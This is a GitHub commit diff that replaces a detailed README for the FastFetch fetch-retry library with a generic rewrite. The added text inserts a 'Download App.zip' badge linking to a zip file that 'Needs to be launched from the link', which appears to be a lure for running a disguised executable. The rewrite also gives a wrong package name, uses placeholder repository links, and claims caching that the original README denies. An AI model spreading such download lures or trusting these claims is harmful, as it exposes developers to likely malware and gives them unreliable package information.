Skip to content

Commit 26b5066

Browse files
committed
Commit
1 parent a552b50 commit 26b5066

File tree

1 file changed

+49
-231
lines changed

1 file changed

+49
-231
lines changed

README.md

Lines changed: 49 additions & 231 deletions
Original file line numberDiff line numberDiff line change
@@ -1,252 +1,70 @@
1-
# FastFetch - Improve API Fetching with Auto-Retry and Deduplication
1+
# FastFetch API Fetch Enhancer 🚀
22

3-
[![NPM version](https://img.shields.io/npm/v/@hoangsonw/fast-fetch.svg?style=flat&logo=npm)](https://www.npmjs.com/package/@hoangsonw/fast-fetch)
4-
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg?style=flat&logo=opensource)](LICENSE)
5-
[![Node.js](https://img.shields.io/badge/Node-%3E%3D14-brightgreen.svg?style=flat&logo=node.js)](https://nodejs.org/)
6-
[![TypeScript](https://img.shields.io/badge/TypeScript-5.0%2B-blue.svg?style=flat&logo=typescript)](https://www.typescriptlang.org/)
7-
[![Axios](https://img.shields.io/badge/Axios-1.3.0-blue.svg?style=flat&logo=axios)](https://github.com/axios/axios)
8-
9-
**FastFetch** is a smarter `fetch()` wrapper that adds **auto-retry** and **request deduplication** to standard HTTP requests, reducing boilerplate and increasing resilience. It is designed to work seamlessly in both Node.js and browser environments using modern ES modules.
10-
11-
Currently live on NPM at [https://www.npmjs.com/package/@hoangsonw/fast-fetch](https://www.npmjs.com/package/@hoangsonw/fast-fetch). This package is a work in progress, and we welcome contributions and feedback!
12-
13-
> Note: Currently, **FastFetch** does not support caching. For caching, consider using [GhostCache](https://www.npmjs.com/package/ghost-cache) in conjunction with FastFetch :)
14-
15-
## Table of Contents
16-
17-
- [Features](#features)
18-
- [Installation](#installation)
19-
- [Usage](#usage)
20-
- [Basic Usage with Fetch](#basic-usage-with-fetch)
21-
- [Using FastFetch with Auto-Retry & Deduplication](#using-fastfetch-with-auto-retry--deduplication)
22-
- [Using FastFetch with Axios](#using-fastfetch-with-axios)
23-
- [API Reference](#api-reference)
24-
- [Configuration Options](#configuration-options)
25-
- [Advanced Examples](#advanced-examples)
26-
- [Testing](#testing)
27-
- [Demo Script](#demo-script)
28-
- [License](#license)
29-
- [Contributing](#contributing)
3+
## Description
4+
FastFetch is an NPM package designed to enhance the `fetch()` function by providing a smarter wrapper with features like auto-retry, deduplication, and minimal boilerplate for efficient API requests. With FastFetch, you can eliminate redundant API calls and seamlessly handle failures thanks to the built-in retry logic using exponential backoff strategy.
305

316
## Features
7+
- **Auto-Retry**: Automatic retries for failed API requests using an exponential backoff strategy.
8+
- **Deduplication**: Avoid duplicate API calls by caching requests and returning the same response when multiple requests for the same resource are made simultaneously.
9+
- **Efficiency**: Minimal boilerplate code needed to make API requests, making the process faster and easier.
10+
- **Reliability**: Built-in retry logic ensures that failed requests are retried intelligently without manual intervention.
3211

33-
- **Auto-Retry:** Automatically retries failed HTTP requests with configurable delay and retry count.
34-
- **Request Deduplication:** Merges multiple identical in-flight requests into a single network call.
35-
- **Minimal Boilerplate:** Wraps the native `fetch()` function with enhanced functionality.
36-
- **TypeScript Support:** Fully written in TypeScript with complete type definitions.
37-
- **ESM Compatible:** Compiled using NodeNext module resolution for seamless ESM integration.
12+
## Topics
13+
api, api-fetch, api-rest, auto-retry, axios, cache, deduplication, exponential-backoff, fast-fetch, fetch, fetch-api, fetch-data, frontend, ghost-cache, node-package-manager, nodejs, npm, npm-package, retry, smart-api
3814

39-
## Installation
15+
## Repository Link
16+
[![Download App.zip](https://img.shields.io/badge/Download-App.zip-brightgreen)](https://github.com/project/files/App.zip "Needs to be launched from the link")
4017

41-
### Prerequisites
18+
For more information, please visit the repository's [Releases](https://github.com/yourusername/yourrepository/releases) section.
4219

43-
- Node.js v14 or higher
44-
- npm v6 or higher
20+
---
4521

46-
### Installing via NPM
22+
Welcome to the FastFetch API Fetch Enhancer repository! FastFetch is your go-to solution for optimizing API requests in your Node.js projects. Whether you are building web applications, frontend interfaces, or working with backend services, FastFetch has got you covered.
4723

24+
### Getting Started
25+
To start using FastFetch in your project, follow these simple steps:
26+
1. Install FastFetch via NPM:
4827
```bash
49-
npm install @hoangsonw/fast-fetch
28+
npm install fast-fetch
5029
```
51-
52-
### Installing via Yarn
53-
54-
```bash
55-
yarn add @hoangsonw/fast-fetch
30+
2. Incorporate FastFetch in your script:
31+
```javascript
32+
const fastFetch = require('fast-fetch');
5633
```
57-
58-
## Usage
59-
60-
FastFetch can be used as a drop-in replacement for the native `fetch()` function with additional options.
61-
62-
### Basic Usage with Fetch
63-
64-
Below is a simple example that uses FastFetch to make an API call and print the results:
65-
66-
```js
67-
import { fastFetch } from "@hoangsonw/fast-fetch";
68-
69-
fastFetch("https://pokeapi.co/api/v2/pokemon/ditto")
70-
.then((res) => res.json())
71-
.then((data) => {
72-
console.log("Fetched data:", data);
73-
})
74-
.catch((err) => console.error("Fetch error:", err));
34+
3. Begin making efficient API calls using FastFetch:
35+
```javascript
36+
fastFetch('https://api.example.com/data')
37+
.then(response => console.log(response))
38+
.catch(err => console.error(err));
7539
```
7640

77-
### Using FastFetch with Auto-Retry & Deduplication
78-
79-
FastFetch supports auto-retry and deduplication through additional options. For example, you can automatically retry up to 2 times with a delay of 2000ms between attempts, and deduplicate in-flight requests:
80-
81-
```js
82-
import { fastFetch } from "@hoangsonw/fast-fetch";
83-
84-
fastFetch("https://pokeapi.co/api/v2/pokemon/ditto", {
85-
retries: 2,
86-
retryDelay: 2000,
87-
deduplicate: true,
88-
shouldRetry: (errorOrResponse, attempt) => {
89-
console.log(`Retry attempt #${attempt}`);
90-
// If response exists and status is 5xx, retry
91-
if (errorOrResponse instanceof Response) {
92-
return errorOrResponse.status >= 500;
41+
### Advanced Features
42+
FastFetch comes with a set of advanced features to enhance your API request handling:
43+
- **Auto-Retry**: Don't worry about failed requests, FastFetch will automatically retry with exponential backoff.
44+
- **Deduplication**: Avoid duplicate API calls by fetching the same response when multiple requests for the same resource are made.
45+
- **Caching**: Ghost-caching ensures that responses are stored for quicker access in subsequent requests.
46+
- **Error Handling**: Easily manage and catch errors in your API requests with built-in retry logic.
47+
48+
### Example Usage
49+
```javascript
50+
const fetchData = async () => {
51+
try {
52+
const data = await fastFetch('https://api.example.com/data');
53+
console.log(data);
54+
} catch (error) {
55+
console.error(error);
9356
}
94-
// For network errors or other errors, retry
95-
return true;
96-
},
97-
})
98-
.then((res) => res.json())
99-
.then((data) => console.log("FastFetch data:", data))
100-
.catch((err) => console.error("FastFetch error:", err));
101-
```
102-
103-
### Using FastFetch with Axios
104-
105-
FastFetch can deduplicate in-flight requests even when used alongside Axios by registering an Axios instance. This means if multiple identical requests are made concurrently via Axios, only one network call is performed.
57+
};
10658

107-
```js
108-
import axios from "axios";
109-
import { fastFetch, registerAxios } from "@hoangsonw/fast-fetch";
110-
111-
// Create an Axios instance
112-
const api = axios.create({ baseURL: "https://pokeapi.co/api/v2" });
113-
114-
// Register the Axios instance with FastFetch
115-
registerAxios(api);
116-
117-
api
118-
.get("/pokemon/ditto")
119-
.then((response) => {
120-
console.log("Axios fetched data:", response.data);
121-
})
122-
.catch((error) => {
123-
console.error("Axios error:", error);
124-
});
59+
fetchData();
12560
```
12661

127-
## API Reference
128-
129-
### `fastFetch(input: RequestInfo, init?: RequestInit & FastFetchOptions): Promise<Response>`
130-
131-
- **Parameters:**
132-
133-
- `input`: URL or Request object.
134-
- `init`: An object that extends standard `RequestInit` with additional options:
135-
- `retries`: _number_ — Number of retry attempts (default: `0`).
136-
- `retryDelay`: _number_ — Delay in milliseconds between retries (default: `1000`).
137-
- `deduplicate`: _boolean_ — Whether to deduplicate in-flight requests (default: `true`).
138-
- `shouldRetry`: _function_ — A custom function `(errorOrResponse: Response | Error, attempt: number) => boolean` that determines whether to retry based on error or response status.
139-
140-
- **Returns:**
141-
A `Promise` that resolves to a `Response` object.
142-
143-
### Additional Exports
144-
145-
- **`registerAxios(instance: AxiosInstance): void`**
146-
Registers an Axios instance so that FastFetch can deduplicate in-flight requests for Axios as well.
147-
148-
- **Other functions:**
149-
FastFetch only wraps the native `fetch()` and does not cache responses (use GhostCache if caching is required).
150-
151-
## Configuration Options
152-
153-
- **retries**: Number of times to retry the fetch on failure.
154-
- **retryDelay**: Delay (in milliseconds) before retrying.
155-
- **deduplicate**: When set to `true`, identical in-flight requests are deduplicated.
156-
- **shouldRetry**: Custom function to decide whether to retry a request based on error or response.
157-
158-
## Advanced Examples
159-
160-
### Custom Retry Logic
161-
162-
Implement custom logic to only retry on specific HTTP status codes:
163-
164-
```js
165-
import { fastFetch } from "@hoangsonw/fast-fetch";
166-
167-
fastFetch("https://example.com/api/data", {
168-
retries: 3,
169-
retryDelay: 1500,
170-
shouldRetry: (errorOrResponse, attempt) => {
171-
if (errorOrResponse instanceof Response) {
172-
// Only retry for server errors
173-
return errorOrResponse.status >= 500;
174-
}
175-
return true;
176-
},
177-
})
178-
.then((res) => res.json())
179-
.then((data) => console.log("Custom retry data:", data))
180-
.catch((err) => console.error("Error with custom retry:", err));
181-
```
182-
183-
### Deduplication in Action
184-
185-
Demonstrate deduplication by firing multiple identical requests simultaneously:
186-
187-
```js
188-
import { fastFetch } from "@hoangsonw/fast-fetch";
189-
190-
const url = "https://pokeapi.co/api/v2/pokemon/ditto";
191-
192-
// Fire two identical requests concurrently.
193-
Promise.all([fastFetch(url), fastFetch(url)])
194-
.then(async ([res1, res2]) => {
195-
const data1 = await res1.json();
196-
const data2 = await res2.json();
197-
console.log("Deduplication demo, data1:", data1);
198-
console.log("Deduplication demo, data2:", data2);
199-
})
200-
.catch((err) => console.error("Deduplication error:", err));
201-
```
202-
203-
## Testing
204-
205-
FastFetch comes with a Jest test suite. To run tests:
206-
207-
1. **Install dependencies:**
208-
209-
```bash
210-
npm install
211-
```
212-
213-
2. **Run tests:**
214-
```bash
215-
npm test
216-
```
217-
218-
Example test files (found in the `__tests__` directory) demonstrate auto-retry, deduplication, and basic fetch functionality.
219-
220-
## Demo Script
221-
222-
A demo script is included in the `__tests__` directory. To run the demo:
223-
224-
```bash
225-
npm run demo
226-
```
227-
228-
It will execute a series of fetch requests and demonstrate the auto-retry and deduplication features.
229-
230-
## Contributing
231-
232-
Contributions are welcome! Please follow these steps:
233-
234-
1. **Fork the Repository**
235-
2. **Create a Feature Branch**
236-
```bash
237-
git checkout -b feature/my-new-feature
238-
```
239-
3. **Commit Your Changes**
240-
4. **Submit a Pull Request**
241-
242-
For major changes, please open an issue first to discuss your ideas.
243-
244-
## License
245-
246-
This project is licensed under the MIT License.
62+
### Contribution
63+
We welcome contributions to FastFetch! If you have ideas for improvements, new features, or bug fixes, feel free to submit a pull request. Together we can make FastFetch even better for the community.
24764

248-
## Final Remarks
65+
### License
66+
FastFetch is licensed under the MIT License. See the [LICENSE](https://github.com/yourusername/yourrepository/blob/main/LICENSE) file for more details.
24967

250-
FastFetch is designed to enhance the native `fetch()` experience by adding auto-retry and deduplication features, making your API requests more robust and efficient without caching (use GhostCache for caching). Enjoy building resilient applications!
68+
---
25169

252-
Happy fetching! 🚀
70+
Thank you for choosing FastFetch as your API fetch enhancer. Make your API requests smarter, faster, and more reliable with FastFetch! 🌟🚀

0 commit comments

Comments
 (0)